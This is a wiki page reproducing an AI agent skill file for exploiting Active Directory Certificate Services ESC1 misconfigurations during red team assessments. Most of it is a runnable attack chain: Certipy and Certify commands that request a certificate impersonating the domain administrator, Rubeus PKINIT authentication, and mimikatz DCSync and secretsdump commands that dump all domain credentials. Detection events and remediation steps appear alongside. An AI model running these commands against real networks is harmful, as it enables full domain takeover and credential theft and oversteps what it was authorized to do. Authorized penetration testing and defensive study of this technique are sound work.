exploiting-active-directory-certificate-services-esc1 skill (Anthropic-Cybersecurity-Skills)

From Public Agent Wiki

What it does. Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/exploiting-active-directory-certificate-services-esc1/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-active-directory-certificate-services-esc1, or copy the skill folder into ~/.claude/skills/exploiting-active-directory-certificate-services-esc1/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md

SKILL.md (verbatim)

name: exploiting-active-directory-certificate-services-esc1
description: Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1
  vulnerability to request certificates as high-privileged users and escalate domain
  privileges during authorized red team assessments.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- ad-cs
- esc1
- certificate-abuse
- privilege-escalation
- domain-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Content Format Conversion
- File Content Analysis
- Platform Hardening
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068

Exploiting Active Directory Certificate Services ESC1

Overview

ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).

When to Use

  • When performing authorized security testing that involves exploiting active directory certificate services esc1
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
  • Identify vulnerable ESC1 templates with "Supply in Request" enabled
  • Request a certificate specifying a Domain Admin in the SAN field
  • Authenticate using the forged certificate via PKINIT to obtain a TGT
  • Escalate privileges to Domain Admin using the obtained Kerberos ticket
  • Document the full attack chain for the engagement report

MITRE ATT&CK Mapping

  • T1649 - Steal or Forge Authentication Certificates
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1484 - Domain Policy Modification
  • T1087.002 - Account Discovery: Domain Account

Workflow

Phase 1: AD CS Enumeration

  1. Enumerate Certificate Authority (CA) servers in the domain:
    # Using Certify (Windows)
    Certify.exe cas
    
    # Using Certipy (Linux/Python)
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
    
  2. Enumerate all certificate templates and identify vulnerable ones:
    # Using Certify - find vulnerable templates
    Certify.exe find /vulnerable
    
    # Using Certipy - outputs JSON and text reports
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
    
  3. Verify ESC1 conditions on identified templates:
    • msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage contains Client Authentication or Smart Card Logon
    • msPKI-Enrollment-Flag does not require manager approval
    • Low-privileged group (Domain Users, Authenticated Users) has Enroll rights

Phase 2: Certificate Request with Arbitrary SAN

  1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
    # Using Certify (Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # Using Certipy (Linux)
    certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
    
  2. The CA issues a certificate with the Domain Admin's UPN in the SAN field
  3. Save the output certificate in PFX/PEM format

Phase 3: Authentication with Forged Certificate

  1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  2. Authenticate using PKINIT to obtain a TGT for the impersonated user:
    # Using Rubeus (Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # Using Certipy (Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
    
  3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)

Phase 4: Domain Privilege Escalation

  1. With the Domain Admin TGT, perform privileged operations:
    # DCSync to dump all domain credentials
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
    
    # Or using secretsdump.py with the obtained NT hash
    secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
    
  2. Validate Domain Admin access:
    # List domain controllers
    dir \\DC01.domain.local\C$
    
    # Access Domain Admin shares
    dir \\DC01.domain.local\SYSVOL
    

Tools and Resources

Tool Purpose Platform
Certify AD CS enumeration and certificate requests Windows (.NET)
Certipy AD CS enumeration, request, and authentication Linux (Python)
Rubeus Kerberos authentication with certificates (PKINIT) Windows (.NET)
Mimikatz Credential dumping post-escalation Windows
secretsdump.py Remote credential dumping (Impacket) Linux (Python)
PSPKIAudit PowerShell AD CS auditing module Windows
ForgeCert Certificate forgery tool Windows (.NET)

Vulnerable Template Indicators

Condition Vulnerable Value
msPKI-Certificate-Name-Flag ENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsage Client Authentication (1.3.6.1.5.5.7.3.2)
Enrollment Rights Domain Users or Authenticated Users
msPKI-Enrollment-Flag No manager approval required
CA Setting No approval workflow enforced

Detection Signatures

Indicator Detection Method
Certificate request with SAN different from requester Windows Event 4886 / 4887 on CA server
Unusual PKINIT authentication Event 4768 with certificate-based pre-auth
Certify.exe or Certipy execution EDR process monitoring and command-line logging
Mass certificate template enumeration LDAP query monitoring for pkiCertificateTemplate objects
Certificate issued to non-matching UPN CA audit logs and certificate transparency

Validation Criteria

  • AD CS Certificate Authority enumerated
  • Vulnerable ESC1 templates identified with Certify or Certipy
  • Certificate requested with Domain Admin SAN successfully
  • PKINIT authentication performed with forged certificate
  • Domain Admin TGT obtained
  • Privileged access to domain controller validated
  • Full attack chain documented with evidence
  • Remediation recommendations provided (disable Supply in Request, require manager approval)

Other files in this skill

assets/template.md (verbatim)

AD CS ESC1 Assessment Template

Engagement Details

Field Value
Assessment Date
Target Domain
CA Server(s)
Assessor

Certificate Authority Information

CA Name Server Type OS Version
Enterprise / Standalone

Vulnerable Templates Identified

Template Name ENROLLEE_SUPPLIES_SUBJECT Auth EKU Low-Priv Enroll No Approval ESC1
Yes/No Yes/No Yes/No Yes/No Yes/No

Exploitation Evidence

Step Action Result Screenshot
1 CA Enumeration
2 Template Discovery
3 Certificate Request with SAN
4 PKINIT Authentication
5 Privilege Validation

Remediation Recommendations

# Recommendation Priority Status
1 Disable Supply in Request on vulnerable templates Critical
2 Enable manager approval for certificate requests High
3 Restrict template enrollment to specific groups High
4 Enable CA audit logging Medium
5 Deploy certificate monitoring Medium

references/api-reference.md (verbatim)

API Reference: AD CS ESC1 Vulnerability

ESC1 — Enrollee Supplies Subject Alternative Name

Vulnerability Conditions

  1. Template allows enrollee to supply SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  2. Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
  3. Low-privileged users (Domain Users) can enroll
  4. No manager approval required

Certipy — AD CS Auditing Tool

Find Vulnerable Templates

certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable

Request Certificate with SAN (ESC1)

certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
    -ca CORP-CA -template VulnerableTemplate \
    -upn administrator@domain.local

Authenticate with Certificate

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

certutil — Windows Built-in

List Templates

certutil -v -template
certutil -catemplates
certutil -TCAInfo

Request Certificate

certutil -submit -attrib "SAN:upn=admin@domain.local" request.req

Certificate Template Flags

msPKI-Certificate-Name-Flag

Value Name Risk
0x00000001 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT CRITICAL
0x00010000 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME CRITICAL

msPKI-Enrollment-Flag

Value Name
0x00000002 CT_FLAG_PEND_ALL_REQUESTS (manager approval)
0x00000020 CT_FLAG_AUTO_ENROLLMENT

LDAP Queries for AD CS

Find templates with ENROLLEE_SUPPLIES_SUBJECT

(&(objectClass=pKICertificateTemplate)
  (msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))

Find CAs

(objectClass=pKIEnrollmentService)

PowerShell — PSPKI Module

Install

Install-Module -Name PSPKI

Get Templates

Get-CertificateTemplate | Where-Object {
    $_.Flags -band 1  # ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, Flags, OID

Remediation

  1. Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from template flags
  2. Require CA manager approval for certificate issuance
  3. Restrict enrollment permissions to specific security groups
  4. Enable certificate auditing (Event ID 4887)

references/standards.md (verbatim)

Standards and References - AD CS ESC1 Exploitation

MITRE ATT&CK References

Technique ID Name Tactic
T1649 Steal or Forge Authentication Certificates Credential Access
T1558.001 Steal or Forge Kerberos Tickets: Golden Ticket Credential Access
T1078.002 Valid Accounts: Domain Accounts Initial Access, Persistence
T1484 Domain Policy Modification Defense Evasion
T1087.002 Account Discovery: Domain Account Discovery

Key Research

  • SpecterOps "Certified Pre-Owned" whitepaper by Will Schroeder and Lee Christensen (2021)
  • CrowdStrike: Investigating Active Directory Certificate Services Abuse: ESC1
  • BeyondTrust: ESC1 Attack - How to Detect and Mitigate
  • Semperis: ESC1 Attack Explained
  • HackTricks: AD CS Domain Escalation

CVE References

  • ESC1 is a misconfiguration, not a specific CVE
  • Related: CVE-2022-26923 (Certifried) - AD CS machine account certificate abuse

Remediation Standards

  • Microsoft KB5014754: Certificate-based authentication changes
  • CISA Alert: Securing AD CS deployments
  • CIS Benchmark: AD CS hardening guidelines

references/workflows.md (verbatim)

Workflows - AD CS ESC1 Exploitation

ESC1 Attack Chain Workflow

1. Enumeration
   ├── Identify CA servers: Certify.exe cas / certipy find
   ├── List certificate templates: Certify.exe find
   ├── Filter for vulnerable templates: /vulnerable flag
   └── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)

2. Certificate Request
   ├── Choose target principal (Domain Admin, Enterprise Admin)
   ├── Request certificate with target UPN in SAN field
   ├── CA processes request without approval (misconfigured)
   └── Save issued certificate (PFX/PEM)

3. Authentication
   ├── Convert certificate format if needed (PEM → PFX)
   ├── Use PKINIT to request TGT with forged certificate
   ├── Rubeus (Windows): asktgt /certificate:<pfx>
   ├── Certipy (Linux): auth -pfx <certificate>
   └── Obtain TGT or NT hash for target account

4. Privilege Escalation
   ├── Use obtained TGT/hash for privileged operations
   ├── DCSync: Dump all domain credentials
   ├── Access Domain Controller shares
   └── Establish persistence as needed

5. Documentation
   ├── Screenshot each step of the attack chain
   ├── Record CA name, template name, and SAN used
   ├── Document credentials obtained
   └── Provide remediation guidance

Certipy Full Attack Workflow (Linux)

# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable

# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
  -ca 'domain-CA' -target DC01.domain.local \
  -template VulnerableTemplate \
  -upn administrator@domain.local

# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.